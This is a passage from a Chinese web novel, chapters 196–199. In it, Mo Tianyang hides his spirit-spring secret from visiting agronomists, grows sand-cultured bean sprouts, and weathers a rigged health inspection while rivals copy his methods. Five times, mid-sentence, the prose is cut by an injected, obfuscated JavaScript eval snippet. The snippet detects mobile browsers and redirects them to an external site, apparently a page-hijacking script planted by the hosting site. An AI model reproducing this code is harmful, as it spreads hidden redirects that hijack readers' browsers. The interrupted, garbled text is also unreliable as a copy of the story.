一口下去，连莫啸的眼睛都亮了起来。排骨嫩而不柴，肉香十足；汤汁鲜美不腻，带着一种特别的清香；就连莲藕的味道也是众人从未品尝过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16397684|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的绝妙。 “这莲藕排骨汤，真是绝了。”莫啸忍不住赞叹。 这话让众人都吃了一惊。几个月来，在莫天扬的厨艺方面，莫啸还从未给出过如此高的评价。 “能得到莫叔的认可，这道莲藕排骨汤放在任何宴席上都绝对是招牌。”陈峰笑着说道。 莫天扬挠了挠头：“这可不能说是我的厨艺好，主要是这莲藕的品质太好了。” 杨丽点头附和：“我吃了几十年莲藕，这样的品质还是头一回遇到。不光品相好，味道更是绝了，真是好东西。要是能大规模种植，绝对能成为青木村的招牌。” 刘思雨咯咯一笑：“妈，他种出来的蔬菜瓜果，还有养的豆芽、酿的酒，哪一样不是招牌？” 张自强、康燕冰、陈亮相视一眼，眼中都闪着兴奋的光。张自强沉吟片刻，说道：“我们研究了一辈子农业，这类品种也是第一次见到。若是能够推广出去，对整个人类来说都是个天大的好消息。” “天扬，我们能不能带一些你这边的品种回去，在实验室里研究研究？” “没问题，想带多少都行。”莫天扬爽快地答应，眼中却闪过一丝不易察觉的深意。人们都知道他种出来的蔬菜瓜果味道极美，就连鱼蟹的味道都是一绝，可只有莫天扬知道这一切都是因为灵泉水。 **自己种植、养殖的这些物种，一旦离开了灵泉水会不会像现在一样味美，更不知道从青木山中带出来的黑草莓、血瓜瓜以至于鸡心柿能不能在污染严重的外面世界成活。 可他也没办法暴露自己的秘密，怀璧其罪的道理他知道，一旦被外人知道灵泉空间，自己或许连三天都活不过去。 这边莫天扬点头，张自强已经迫不及待地起身：“那我们现在就去池塘边再采些样本！” 三位教授说走就走，连饭都顾不上吃完，兴冲冲地朝池塘方向去了。桌上众人看着他们远去的背影，不由得相视而笑。 “这三位教授还真是雷厉风行。”刘思雨轻笑道。 莫天扬目光追随着三位教授的背影，若有所思。他转头看向陈宏利四个，“你们去帮张老他们挖一些出来，水凉可不能让他们感冒了。” “我们这就过去。” 饭后，莫天扬来到温室，看着满目翠绿的秧苗，心中盘算着下一步的计划。灵泉空间中的特殊品种一旦被专家们深入研究，很可能会引起更大关注。这既是机遇，也是挑战。 就在莫天扬在温室查看的时候，陈亮从外面进来，莫天扬看向陈亮，“张老、康老走了。” “原本老师还要待几天回去，这现在因为莲藕，他们都待不住了。” 莫天扬淡淡一笑，“陈教授，这边的情况你也知道，听村里老人说我院子的古井连同青木山，这也是种植出来的蔬菜瓜果口感要比其他地方要好，而且青木山中的物种一旦没有了青木山的水很难存活……” 第一百九十六章烂泥扶不上墙 陈亮长叹一声，语气中带着几分感慨：“你那口古井的水很不一般，我早就检测出来了。这里的水含有多种其他地区水源所没有的特殊元素，这些元素对身体大有裨益。我推测，正是因为井水特别，才让你种出来的蔬菜瓜果味道与众不同。” 莫天扬挠了挠头，故作恍然大悟状：“原来是这样，我就说怎么村里人种出来的蔬菜，口感总和我种的不太一样。” “这是一口神奇的古井。”陈亮压低声音，“我的老师们也觉察到了，他们也想尝试用这水做研究。就算最终无法成功，他们也不会多说什么。倒是你，切记不要对外人提起古井的事。如今社会人心浮躁，一旦古井的秘密传开，你的麻烦只会更多。” 莫天扬心头一震。他没想到陈亮他们已经发现了一切奥秘都在水中，却不仅没有声张，反而要替他保守这个秘密。 “陈教授，谢谢您。” “天扬啊，你学历虽高，可在社会上历练得还太少。”陈亮语重心长，“你的事我也听说了不少。树大招风，你希望别人过得好，但很多人未必和你想得一样。在他们眼里，财富高于一切。所以做事看人一定要准。你身边的这些人，虽然文化不高，但我们都能看出来，他们是真心盼着你好。” “陈教授，我明白了。” 走出温室，莫天扬深吸一口气，望向远处已是一片枯黄的青木山外围。这一次虽然是因为刘思雨的事，让沛川变了天，但他知道这仅仅是个开始。即使没有林浩宇这个**，只要他想继续发展，总有一天会碰上林家这样的庞然大物。 如今他已经搅动了沛川乃至浅驼这潭浑水，接下来会发生什么，连他自己都无法预料。但他心中有一个坚定的信念：一定要让身边的人过得更好。 …… “哥，云飞又被抓了，你能不能想办法把他捞出来？”沛川郊区的一处农家院落里，李翠花焦急地看着李明宇。 李明宇皱起眉头：“原本以为安云飞是条龙，再不济也是条虫，现在看来，根本就是个烂泥扶不上墙的废物！敲诈勒索、威逼利诱，还在外面包养了好几个女人。这种东西，捞他出来做什么？” “什么？他还敢包养女人？”李翠花脸色骤变，声音猛地拔高。 “他也就是表面上老实，背地里的弯弯绕多着呢。这次要不是他的黑料被爆出来，将来连我都要被他拖下水。” “这个废物真是该死！哥，你说他的黑料是什么人爆出来的？我觉得是有人故意针对他。他再垃圾，至少在浅驼那边还算有点用处。” “我专门调查过，也托人在浅驼打听了一圈。这次他的黑料，知道内情的人极少，连我安排去调查的人都摸不清头绪。这半年多来，他让多少人丢了饭碗？虽说那些人都是他提拔起来的，可一出事，他就翻脸不认人，谁不会记恨？” “你是说……曝出他黑料的是他自己的人？” “所有的黑料只有他们自己人最清楚。既然人家丢了饭碗，他又翻脸无情，那些人恼羞成怒也在情理之中。对了，让栓子回来吧，这些事情牵扯不到他。” 李翠花面容扭曲，眼中满是怨毒：“都怪莫天扬那个小畜生！要不是他，栓子不会有事，安云飞也不会落得这个下场！他害得我家破人亡，现在连安云飞都被抓了，栓子有家不敢回……这个小畜生，真是该死！” 李明宇看着妹妹扭曲的面容，眼中闪过一丝复杂。他沉默片刻，缓缓开口：“小妹，莫天扬哪里还有秘密，他还有点用处，不过你放心，将来我会按照你的要求让他生不如死，安云飞是自己作死，怪不得别人。” “哥！”李翠花猛地站起来，声音尖利，“我一刻也等不了，我现在就要让他生不如死，要不是他，云飞怎么会出事？栓子又怎么会躲在外头不敢回家？” “小妹。”李明宇语气转冷，“安云飞做的那些事，证据确凿，上一次我已经帮了他一次，这一次你让我怎么帮，他就是一个废物，即使帮了他，总有一天，他也会给你我带害。至于栓子，他也不过是借着安云飞犯了点小错误，回头我看看给他找点事干。” 李翠花下意识点点头，但眼中的怨毒却丝毫未减。她死死攥着衣角，咬牙切齿道：“这个仇我一定要报！莫天扬让我家破人亡，我也绝不会让他好过！” 李明宇长叹一声，知道自己劝不住这个执拗的妹妹，只得警告道：“这个你大可放心，让他死那是他上辈子积德了，也是他还有点用处。” 在说出这话的时候，李明宇的眼底有着一丝不易察觉的疑惑，这一次无论是安云飞还是林家。在他们暴雷之前，似乎都和莫天扬有关系，他们都是在和莫天扬有交集之后不久就出事，这事情该不会…… 这个念头一起，李明宇马上摇头，莫天扬是什么人他早就调查的清楚，更何况还有妹妹李翠花，在莫老三一家没有欺负之前，他不过是最为普通的一个青年，也是莫老三一家逼得太急，莫天扬才彻底爆发。 他今年种菜的确赚了钱，可他的人际圈也就是村里的那几个人，这样一个普通人，他连接触安云飞的机会都没有，更不用说是林家，断不可能是莫天扬。 “哥，那安云飞呢，虽说他不是个东西，可毕竟他是小云的丈夫，他们还有孩子，这如果……” 李明宇皱了皱眉头，“小妹，安云飞现在也不知道是我帮了他吧。” 李翠花摇头，“他问过我很多次，想要通过我认识一下，不过都被我拒绝，他虽说知道你，可一直都认为你不过是我一个表亲。” “那就好，既然你这样说，我就最后再帮他一次，不过这一次他的黑料太多，工作肯定是没希望了，先让他在里面待一段时间，等风头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16402309|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去，我弄他出来，在沛川这边给他找点事做。” …… “天扬，老师他们在从带回去的水和莲藕中都中发现了一种罕见的活性物质，这种物质具有极强的抗氧化和抗衰老功效。” 莫天扬微微一愣，“张老、康老他们……” “小莫，这可是个大发现！”陈亮激动地说，“如果能将这种物质提取出来，不仅能应用于食品行业，甚至可能在医药和化妆品领域产生**性影响！” 莫天扬一愣：“还能提取出来？” 陈亮深吸一口气，神色认真：“这是老师他们的设想，不过提取的难度很大。他们已经为此申请了专项课题。所以接下来这段时间，恐怕还要继续打扰你。当然，所有的费用你不用担心……” 莫天扬连忙摆手。尽管张自强和康燕冰已是白发苍苍，但他们来的这段时间，不仅教会了自己许多从未接触过的农业知识，连胡标、曹勇、陈宏利他们都受益匪浅。这对他的事业无疑是巨大的助力。 这份情谊，别人或许觉得理所应当——毕竟这段时间莫天扬免费提供食宿，可他却牢记着每一个人对他的帮助。 “天扬，这里毕竟是你的私人地方。你能允许我们过来，已经非常难得。要知道，你用最传统的方法种出了顶级的蔬菜瓜果，这本该是你独家的秘密，是你最大的倚仗。而我们，却很可能在不经意间把你的秘密分享出去。” “陈教授，您这话就言重了。”莫天扬诚恳地说，“您们来之后，无论是在平整土地、发酵农家肥，还是秧苗栽种上都给了我巨大的帮助。这份情，我记在心里。” “那好，我这就专门收拾几间房用作研究。” 陈亮却摆了摆手，指向温室外面：“外面还有空地，我让人在外面搭一个临时实验室就行。不过你得知道，我们很多仪器都非常精密，你得负责把这一片的围墙先弄起来。” 莫天扬看了看周围的铁皮围挡，爽快应道：“没问题，我这就联系吕建国，先把这块地方圈起来。” “你的锅炉房我也得借用一部分。” “行。” 走出温室，冷风拂面，莫天扬深吸一口气。他当然明白，张自强和康燕冰试图通过实验提取的所谓“活性物质”，很可能就来自灵泉水中的某种特殊元素。 灵泉空间是他最大的秘密，也是最根本的倚仗。无论如何，这个秘密绝不能让人察觉。 从最初只想着本分种地，让爷爷和身边的人过上好日子，到如今被卷入种种是非，他的人生早已天翻地覆。但无论前路多么艰难，他都已经做好了准备。 因为他明白，在他的身后，不仅有需要守护的亲人与朋友，更要带领他们走向更好的生活。甚至，他心中还怀着一个更大的梦想——让青木村重新变回爷爷故事中的模样：天苍苍，野茫茫，风吹草低见牛羊。 第一百九十七章沙子种豆芽 沛川林家因林建明一事，林氏集团不仅股价暴跌，更引来了调查组的入驻审查。饶是林家这样的庞然大物，也经不起这般折腾。 由于这次风波是从沛川爆出，且无人知晓幕后推手，许多与林氏集团有过节的家族都人人自危，沛川一时间暗流涌动。 浅驼这边，随着安云飞落网，不断有人被他供出，整个浅驼的氛围安静了许多，连街上的治安管理都比以往严格了不少。 莫天扬每天都能从颜若曦那里听到些浅驼、沛川的消息，但他并不太在意——有王海龙等人在暗中调查，他获得的信息往往更为确切和及时。 天气日渐寒冷，温室里却依旧绿意盎然。西红柿、茄子、黄瓜、豆角都已长到近一米高。有陈亮这位准院士的指导，作物不仅长势茁壮，挂果率也比莫天扬自己种植时提高了近三成。 若是在开春那会儿，胡标他们每天不知要来看多少回。可如今只要人在温室，他们多半都聚在黑草莓、鸡心柿和血瓜瓜的种植区附近。 连胡标这些老把式都格外关注这三种首次面世的作物，更不用说陈亮这位准院士了。他每天大部分时间都泡在这三片区域。 黑色鸡心柿种植区内，植株茎干比普通西红柿更为粗壮，叶色也更深。每片叶子的根部都挂着一串鸽蛋大小、酷似葡萄的鸡心柿。若不是这些果子还呈青色且形状如鸡心，恐怕谁都会误以为那是葡萄。 旁边的黑草莓叶片下，密密麻麻结满了蚕豆大小的果实。与普通草莓不同，此时的黑草莓已透出粉红色泽。 血瓜瓜的叶片间悄然绽开两朵小花。凝望着那初放的花朵，莫天扬眼中满是期待。 “天扬，血瓜瓜还要等几天。你刚才也看到鸡心柿的挂果情况了，结果量很大，我担心现有的竹架可能承受不住鸡心柿长大后的重量。” 莫天扬点点头：“陈教授，您觉得用什么材料更合适？” 陈亮直起身，拍了拍手上的泥土：“你说过成熟的鸡心柿单个就有三四两重。这种规格的西红柿我们也是头一次见。要是在别处种植，这么密的挂果肯定得疏掉一些。不过你这里肥力足，一旦果实长大，那些塑料架子肯定撑不住。要不改用塑钢？虽然价格贵点，但可以重复使用。” “行，我回头就和吕建国联系，让他选质量好的塑钢。他是搞建筑的，对这个在行。”莫天扬爽快地应道。 陈亮看了眼已经开花的血瓜瓜，若有所思地说：“天扬，将来这些血瓜瓜、黑草莓、黑色鸡心柿肯定要推广出去。黑草莓和黑色鸡心柿还好，但''血瓜瓜''这名字听着有点吓人。我觉得你得提前给它们都想个好名字。” 莫天扬点点头。现在不仅是精品果蔬，就连普通农产品都会起个响亮的品牌名来吸引消费者。虽然他的事业才刚刚起步，但他相信，只要明年不出意外，青木村的蔬菜、瓜果，乃至粮食作物和鱼蟹，都一定能打出名号。 “陈教授，我的一切都是青木山给的，以后我的产品就以''青木''为名。黑草莓就叫青木墨莓，血瓜瓜叫青木朱瓜，黑色鸡心柿就叫青木玄心果。” 陈亮朝莫天扬竖起大拇指：“这名字起得好！既能让人们知道产地，又雅致悦耳。抽空把这些名字都注册了，免得将来被别人冒用。” 莫天扬郑重点头。虽然他不常上网，但在大学时也听说过不少商标**的案例。没有名气时没人注意，一旦有了名气，商标就是金字招牌。 “对了天扬，”陈亮忽然想起什么，“我这几天做了个小实验，用沙子来生豆芽。咱们这儿沙子多，古井水又特别，用沙子生豆芽效果不错，品质不比大瓮里养的差。而且用沙子种豆芽，豆芽皮大都能自行脱落。” “陈教授，您说的是毛豆芽吧？”莫天扬想起小时候，每年开春种下豆子后，村里人没菜吃时，都会从地里挖些还没长成的豆芽。因为豆芽根部有些根须，村里人都习惯叫它毛豆芽。 “对，就是过去村里人说的毛豆芽。但只要控制好水分和时间，豆芽就不会生根，也不会变绿。” 莫天扬精神一振。用沙土培育豆芽可比在大瓮里容易多了。如果真的能在沙土中成功培育豆芽，产量就能提高不少。 “陈教授，真的能行？” 陈亮微微一笑：“如果连这点都控制不了，我们还不如卷铺盖回家呢。” “那太好了！我这就让人去找些沙土回来。” “天扬，既然打算用沙子种豆芽，就得先把沙子用清水洗干净，否则卫生部门来检查的话，你这豆芽肯定不合格。另外豆芽房的卫生也要特别注意，得重新规划一下。” “行，一切都听陈教授的。” 午饭过后，莫天扬找来胡标几人：“标叔，陈教授给咱们琢磨出一套用沙子种豆芽的方法。” “天扬，毛豆芽可比在大缸里生豆芽难多了。” 莫天扬指了指陈亮，笑道：“标叔，您好像忘了陈教授是做什么的了。这段时间陈教授通过实验，已经能控制所有环节，不会出现生根、绿头的现象。” 胡标几人眼睛一亮：“那感情好！沙子里种出来的豆芽更有味道，种起来也省事多了。” “标叔，用沙子种豆芽需要大量沙子，和咱们以往的做法不一样。陈教授要求把沙子洗干净，咱们村哪儿有含土量少一点的沙子？” “这个交给我们就行。别的咱们村没有，沙子要多少有多少。” 一直沉默的莫啸忽然开口，眼中闪着光：“黄家坟那条沟里的沙子不错。不过就是离这里有点远。” 莫天扬听到爷爷的建议，眼睛一亮：“黄家坟那条沟？我记得那里的沙子确实细腻，含土量也少。” 胡标也恍然大悟，拍了下大腿：“对啊！我怎么把那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408383|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方忘了。那儿的沙子又白又细，是建房子用的上等沙。现在咱们自己有车子，根本不算远。” 说干就干。下午，莫天扬就带着胡振南几个人，开着三轮车去了黄家坟那条沟。果然如莫啸所说，那里的沙子质地细腻，颜色洁白，几乎看不到泥土杂质。 莫天扬他们忙着洗沙，吕建国带人按照陈亮的要求搭建起沙子种豆芽所需要的简易豆芽房。 几个人忙活了一下午，拉回来满满三车沙子。按照陈亮的要求，大家用古井水反复冲洗沙子，直到流出的水完全清澈为止。 第二天一早，陈亮亲自指导大家在豆芽房里铺沙。厚度控制在十厘米左右，沙子保持适度湿润。豆种经过精心挑选后，均匀撒在沙床上。 “温度要控制在20到25度之间，湿度保持在80%左右。”陈亮一边调整设备一边讲解，“每天喷水两次，这样才能保证豆芽的品质。” 胡标等人认真记下每一个细节，不敢有丝毫大意。这让莫天扬很是欣慰，他知道这些老把式虽然文化不高，但对土地和作物有着与生俱来的敬畏和热爱。 三天后，令人惊喜的一幕出现了：沙子上出现了一个个小小的凸起，这让人们充满了期待，他们都知道用沙子种豆芽有很大的成功几率。 第五天，陈亮用手挖了一片区域，一簇簇豆芽出现在人们眼前，豆芽色泽洁白，茎秆粗壮，完全没有生根变绿的迹象。 “成功了！”陈宏利兴奋地喊道，“陈教授，您这法子真灵！” 陈亮蹲下身仔细查看，满意地点点头：“不错，长得很好。这样培育出来的豆芽，口感应该会更爽脆。” 当晚，莫天扬特意用新出的豆芽炒了几个菜。果然如陈亮所说，沙培豆芽格外脆嫩爽口，丝毫没有土腥味，赢得了大家的一致好评。 “这豆芽比以前的还要好！”颜若曦忍不住又夹了一筷子，“口感特别清爽，不但没有豆腥味，还有一种特别的香味。” 刘思雨也连连点头：“确实好吃，我觉得拿出去卖的话，肯定能卖个好价钱。” 晚饭后，莫天扬特意去豆芽房转了一圈。新培育的豆芽长势喜人，在灯光下泛着莹白的光泽。他轻轻抚摸这些嫩芽，心中涌起一股成就感。 从最初只有几个大瓮，到现在拥有专业的豆芽房；从单纯种地，到如今有了自己的品牌和特色产品，这一路走来虽然不易，但却让他看到了希望。 走出豆芽房，月光下，青木村安静祥和。但莫天扬知道，在这平静的表面下，暗流仍在涌动。他深吸一口气，目光坚定。 回去的时候又去了一趟温室，看着郁郁葱葱的蔬菜、瓜果，再想想豆芽房、酒坊，莫天扬心头是豪气万丈，事业已经开启，为了爷爷、为了身边的这一批亲友，无论前路有多少艰难险阻，他都会守护好这片土地，守护好这些正在萌芽的希望。 第一百九十八章豆芽风波 莫天扬用沙子培育豆芽的消息不胫而走，不仅在青木村引起轰动，连十里八乡的乡亲们都感到不可思议。 村里人谁不知道“毛豆芽”？ 虽说毛豆芽口感确实别具风味，可过去都是用农家肥种植，不是饥荒年月谁愿意吃那个？如今人们吃喝不愁，别说年轻人，就是经历过那个年代的老一辈也不愿再碰。 现在莫天扬居然重拾这老法子，很多人都觉得他是不是疯了——为了多赚钱，连这种“脏豆芽”都种，要是传出去，这几个月好不容易积累起来的好名声恐怕就要毁了。 消息传得很快，浅驼卫生部门得知后顿时来了精神。这几个月他们去过青木村几次，每次都被莫天扬弄得灰头土脸，如今终于抓到机会，自然不肯放过。 这天，温室里的莫天扬正看着已经长到指头粗细的小黄瓜，眼中满是期待。只要温室里的黄瓜能采摘，他就能顺理成章地将灵泉空间中的黄瓜带出来销售。虽然温室规模不大，但每天都能供应一些。 “天扬，县里来人了，说咱们用农家肥种豆芽……”陈宏利匆匆跑来通报。 莫天扬与陈亮相视一笑：“看到了吧，这才几天工夫，消息就传到县里了。”陈亮打趣道。 莫天扬哈哈一笑，对陈宏利说：“走，咱们去看看。” 豆芽房外早已围了不少村民，还有十多个扛着“**短炮”的媒体记者。见到莫天扬过来，记者们的眼神中透着几分不怀好意，而村民们则面露担忧。 当莫天扬走近，看到一群穿着制服的人员时，不由得一愣——他注意到人群中的楚婧雅正严肃地望着他。 莫天扬朝楚婧雅点头致意，却换来一个白眼。 “莫天扬，我们接到群众举报，称你使用农家肥种植豆芽。现在要对你豆芽房进行突击检查。你应该清楚，如果查实，不仅要查封豆芽房，你还将承担法律责任。” 相比前几次，这次来的执法人员态度还算端正，没有一上来就扣帽子。 莫天扬淡然一笑：“我还真不知道有人造这种谣。不过既然你们接到举报，那就请进去查个明白，正好也让大伙儿看看我到底用没用农家肥。” 这番话让楚婧眼中闪过一丝讶异。虽然她和莫天扬接触不多，但直觉告诉他，莫天扬不会做这种事。不过既然浅驼方面上报了，沛川这边不得不派人来查。 就在执法人员和媒体要进入豆芽房时，莫天扬突然叫住他们：“请等一下，我让人拿些工作服过来。” 这话让所有人都愣住了，包括执法人员。在众人疑惑的目光中，莫天扬平静解释：“豆芽种植对环境要求很高，我们进出都必须穿戴专用工作服。” 楚婧雅他们是来接举报突击检查的，莫天扬不仅不阻拦，还主动配合要求，他们自然不好拒绝。 换上工作服后，众人走进豆芽房。一进门，所有人都愣住了——展现在他们眼前的是一個一尘不染的空间，空气中弥漫着纯净的水汽。一条两米多宽的走道两侧，整齐排列着一米五高的架子，架上分层铺着十多厘米厚、洁白如玉的细沙，沙层中不时有清水渗出，清澈见底。 这景象连卫生执法人员都为之震撼。他们基本可以确定，莫天扬用沙子种植豆芽根本不可能掺和农家肥。 “我们要抽样检测。” 莫天扬眼神微动，对跟进来的曹克雄吩咐道：“克雄，按他们的要求取样。” 曹克雄依照执法人员的指示，轻轻拨开一片沙层。跟进来的媒体记者立刻将镜头对准取样处，下一刻，人群中发出一阵低呼。 只见沙层中，根根白嫩的豆芽亭亭玉立，黄色的豆芽头顶着几近脱落的豆皮，显得格外鲜嫩可人。 “能拍个特写吗？”有记者问道。 莫天扬淡然一笑：“当然可以，这里全程监控，各位可以随意拍摄，但请不要触碰或损坏豆芽。” 在媒体记者的镜头下，曹克雄小心翼翼地取出一把豆芽。洁白鲜嫩的豆芽在灯光下显得格外诱人，根根分明，没有任何杂质。 执法人员接过样品，仔细检查后，脸上露出难以置信的表情。为首的负责人轻咳一声，语气明显缓和了许多：“这些豆芽...确实看起来很干净。” 楚婧雅暗暗松了口气，但职业素养让她继续保持严肃：“我们需要带回去做进一步检测。” “当然可以。”莫天扬坦然道，“不过我希望检测结果出来后，能第一时间通知我。如果是诬告，我也希望能还我一个清白。” 就在这时，一位眼尖的记者突然指着沙床惊呼：“快看！豆芽还在长！” 所有人的目光瞬间聚焦在那片刚刚取样的沙床上。只见周围的沙子微微颤动，新的嫩芽正以肉眼可见的速度顶开沙层，缓缓向上生长。 这神奇的一幕让在场所有人都惊呆了，相机快门声顿时响成一片。 “这...这是怎么回事？”楚婧雅也难掩惊讶。 不知道什么时候过来的陈亮适时站出来解释：“这是我们采用的新型沙培技术，通过控制温度、湿度和养分，让豆芽保持持续生长的状态。这样既能保证新鲜度，又能随时采收。” 这个解释虽然合理，但豆芽生长的速度还是让众人啧啧称奇。 执法人员采集完样品后，态度明显好转：“莫先生，我们会尽快完成检测。在这期间，请你保持豆芽房的正常运作。” 待执法人员和大部分媒体离开后，楚婧雅故意落在最后。等其他人走远了，她才转身对莫天扬低声道：“这次举报来得突然，我怀疑是有人故意针对你。” 莫天扬苦笑：“我也这么觉得。只是没想到他们会用这种方式。” 虽说是突查，可过来那么多媒体、自媒体，一切都是公开的，当人们通过自媒体的直播看到莫天扬的豆芽房，他们基本上已经断定，外面流传的都是谣言。 三天后，检测结果出来了：莫天扬的沙培豆芽不仅完全符合卫生标准，甚至多项指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413475|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 标远超普通豆芽，富含多种对人体有益的微量元素。 这个消息一经公布，原本质疑的声音瞬间变成了赞叹。各大媒体争相报道，将莫天扬的“青木沙培豆芽”誉为农业创新的典范。 更让莫天扬意外的是，不说是浅驼、沛川的超市、个人，就是周围区域都有人专门过来，他们想要预定莫天扬用沙土培育出来的豆芽，一时间青木村沙土豆芽火遍全网，更有人来青木村取经，他们也想要搞沙土种植豆芽。 “看来，这次突击检查反倒给我们做了个免费广告。你这豆芽要火。”陈亮笑着打趣道。 莫天扬点点头。浅驼张学涛的精品果蔬店里，豆芽虽然已经能够批量生产，价格也比之前降了不少，但依然比市场上的普通豆芽贵了近一倍。即便如此，每天排队购买的人依然络绎不绝。 至于浅驼的饭店和酒店，只要菜单上标明使用的是“青木村豆芽”，立刻就会座无虚席。 “陈教授，这还多亏您想出了这种新方法。现在每天的豆芽产量能达到三千多斤，每斤卖六块多，可还是供不应求。我朋友张学涛您也见过，他现在店里有一半区域都专门用来销售豆芽。每天不光浅驼的酒店，连沛川那边的饭店都有人专门来找他采购。” “若曦她们不是说，以前你这豆芽卖过几十块一斤，现在怎么……” 莫天扬深吸一口气：“那时候产量不过百十来斤，只有那些有钱人才吃得起。现在产量这么高，哪来那么多有钱人？” “也是。不过你这豆芽因为有古井水的滋养，绝对是精品中的精品，卖六块多还真不贵。你就没想过再扩大规模，把沙培豆芽的名声彻底打出去？” 莫天扬沉吟道：“现在用的都是简易房，条件有限。等新院子完全建起来再说吧。如果有条件的话，肯定要扩大规模。” 陈亮赞许地点头：“天扬，你虽然没专门学过农业，但在这方面的天赋很高。如果能这样坚持下去，不仅你自己，整个青木村都会跟着发展起来。” 正当两人闲聊时，曹勇从外面进来，脸色不太好看。 “勇叔，这是怎么了？又被婶子训了？”莫天扬打趣道。 曹勇摇摇头：“天扬，莫栓又回来了。听说他也要在村里用沙子种豆芽。不只是莫栓，王喜山也联合了几家人准备种豆芽。周围村子已经有不少人家跟风搞起来了。” 莫天扬微微一愣：“莫栓？这个草包难道忘了上一次毒豆芽的事？要不是那次的毒豆芽事件，莫老三或许还不会死。” “上次突击检查后，媒体把豆芽房的情况都报道出去了。网上又冒出来不少所谓的专家，公开了沙土培育豆芽的技术要点。所有人都觉得简单，现在都在跟风。” 莫天扬眼神微动：“莫栓应该不是一个人回来的吧？就他那个草包样，要是没人帮忙，连个沙盘都搭不起来。” “确实带了几个人回来。他正在游说以前和莫老三关系好的人家……” 第一百九十九章跟风的代价 莫天扬眉头微皱，沉思片刻后问道：“他带回来的是什么人？” 曹勇叹了口气：“听说是从沛川找来的几个所谓的‘技术员’，说是有豆芽种植经验。现在正在村里到处吹嘘，说他们的技术比咱们的还要好，产量能翻倍。” 陈亮忍不住摇头：“胡闹！沙培豆芽看起来简单，但对温度、湿度和水质的要求极高。没有科学配比和精准控制，根本种不出合格的豆芽。” 就在这时，胡标也急匆匆地赶来，脸上带着焦急之色：“天扬，不好了！王喜山他们几家已经动工搭建豆芽房了，还从外面运来了大批沙子，连清洗都没洗就直接用了。” 莫天扬神色凝重：“这样种出来的豆芽肯定不合格。到时候万一吃出问题，整个青木村豆芽的名声就全毁了。” “更麻烦的是，”曹勇补充道，“莫栓还在村里放话，说你的豆芽卖六块太黑心，他们只要三块一斤，要让你彻底没生意。” 陈亮闻言不禁失笑：“三块一斤？连成本都不够。这些人根本不懂经营，纯粹是瞎搞。” 莫天扬沉吟良久，忽然抬头道：“勇叔，标叔，你们去告诉村里人，想要学沙培豆芽技术的，可以来找我。我会免费教大家正确的种植方法。” 曹勇一愣：“天扬，你这是……他们可是要抢你生意啊！” “都是乡里乡亲的，”莫天扬平静地说，“如果大家都能种出好豆芽，把青木村豆芽的品牌做大，对所有人都有好处。总比他们瞎搞，最后把整个市场做烂了强。” 胡标若有所思地点点头：“这话在理。我这就去通知大伙儿。” 等两人离开后，陈亮赞赏地看着莫天扬：“想不到你年纪轻轻，就有这样的胸襟和远见。很多人遇到这种情况，第一反应都是藏着掖着。” 莫天扬苦笑：“我也是被逼无奈。总不能眼睁睁看着他们把市场搞乱吧？” 接下来的几天，出乎莫天扬意料的是，莫栓和王喜山那帮人却丝毫不为所动连一次都没有莱塔这里学习，反而变本加厉地扩大生产。 更让人担忧的是，他们为了尽快见效，竟然在豆芽生长过程中使用了激素和漂白剂。 “这样下去非出事不可。”王海龙调查后向莫天扬汇报，“我已经发现他们往沛川的几个市场送货了。” 莫天扬当机立断：“把这些情况悄悄透露给楚婧雅，让她那边有个准备。另外，加强咱们的质量把控，每一批出货的豆芽都要留样检测。” 就在莫天扬为此事忧心时，一个意想不到的访客来到了青木村——张学涛匆匆赶来，脸上带着焦急之色。 “天扬，不好了！市场上突然出现大量便宜的‘青木村豆芽’，但品质极差，已经有不少人吃出问题了！” 莫天扬心中一沉，最担心的事情还是发生了。这简直就是几个月前毒豆芽的翻版，只不过那个时候是莫老三他们，这现在却是很多人。 莫老三该死，可这一次很多人也不过是想要赚钱。 “涛哥，你那边……” “因为市面上出现了仿冒的豆芽，很多贪图便宜的顾客确实流向了别处。不过绝大多数老主顾都专门问过我，我明确告诉他们，正宗的青木村豆芽目前只在我这里销售，所以影响还不算太大。” 